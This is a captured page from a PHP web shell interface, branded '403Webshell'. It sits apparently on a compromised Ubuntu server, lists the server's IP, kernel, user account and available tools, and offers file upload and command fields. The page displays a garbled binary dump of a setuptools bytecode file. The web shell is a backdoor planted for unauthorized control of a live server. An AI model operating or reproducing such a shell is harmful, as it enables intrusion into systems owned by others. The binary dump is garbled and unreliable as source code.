403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/command/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/command/__pycache__/alias.cpython-312.pyc
�


_�dO	��F�ddlmZddlmZmZmZd�ZGd�de�Zd�Zy)�)�DistutilsOptionError)�edit_config�option_base�config_filec�t�dD]}||vs�t|�cS|j�|gk7rt|�S|S)z4Quote an argument for later parsing by shlex.split())�"�'�\�#)�repr�split)�arg�cs  �:/usr/lib/python3/dist-packages/setuptools/command/alias.py�shquotersC��
 �����8���9����y�y�{�s�e���C�y���J�c�j�eZdZdZdZdZdgejzZejdgzZd�Z	d�Z
d�Zy	)
�aliasz3Define a shortcut that invokes one or more commandsz0define a shortcut to invoke one or more commandsT)�remove�rzremove (unset) the aliasrc�J�tj|�d|_d|_y)N)r�initialize_options�argsr��selfs rrzalias.initialize_optionss���&�&�t�,���	���rc��tj|�|jr$t|j�dk7rtd��yy)N�zFMust specify exactly one argument (the alias name) when using --remove)r�finalize_optionsr�lenrrrs rrzalias.finalize_options!s?���$�$�T�*��;�;�3�t�y�y�>�Q�.�&�!��
�/�;rc�8�|jjd�}|js4td�td�|D]}tdt	||���yt|j�dk(rG|j\}|jrd}ne||vrtdt	||��ytd|z�y|jd}djtt|jdd��}t|jd||ii|j�y)	N�aliaseszCommand Aliasesz---------------zsetup.py aliasrz No alias definition found for %rr� )
�distribution�get_option_dictr�print�format_aliasrr�join�maprr�filename�dry_run)rr!r�commands    r�runz	alias.run)s����#�#�3�3�I�>���y�y��#�$��#�$� �
F���&��U�G�(D�E�
F��
����^�q�
 ��y�y�H�U��{�{����'�!��&��U�G�(D�E���8�5�@�A���I�I�a�L�E��h�h�s�7�D�I�I�a�b�M�:�;�G��D�M�M�I��w�/?�#@�$�,�,�OrN)�__name__�
__module__�__qualname__�__doc__�description�command_consumes_argumentsr�user_options�boolean_optionsrrr,�rrrrsN��=�D�K�!%��	4��� � �!�L�"�1�1�X�J�>�O��
�Prrc��||\}}|td�k(rd}n'|td�k(rd}n|td�k(rd}nd|z}||zdz|zS)	N�globalz--global-config �userz--user-config �local�z
--filename=%rr")r)�namer!�sourcer+s    rr&r&Dsc���d�m�O�F�G�
��X�&�&�#��	�;�v�&�	&�!��	�;�w�'�	'��� �6�)���D�=�3���(�(rN)	�distutils.errorsr�setuptools.command.setoptrrrrrr&r5rr�<module>r?s'��1�K�K��1P�K�1P�h
)r

Youez - 2016 - github.com/yon3zu
LinuXploit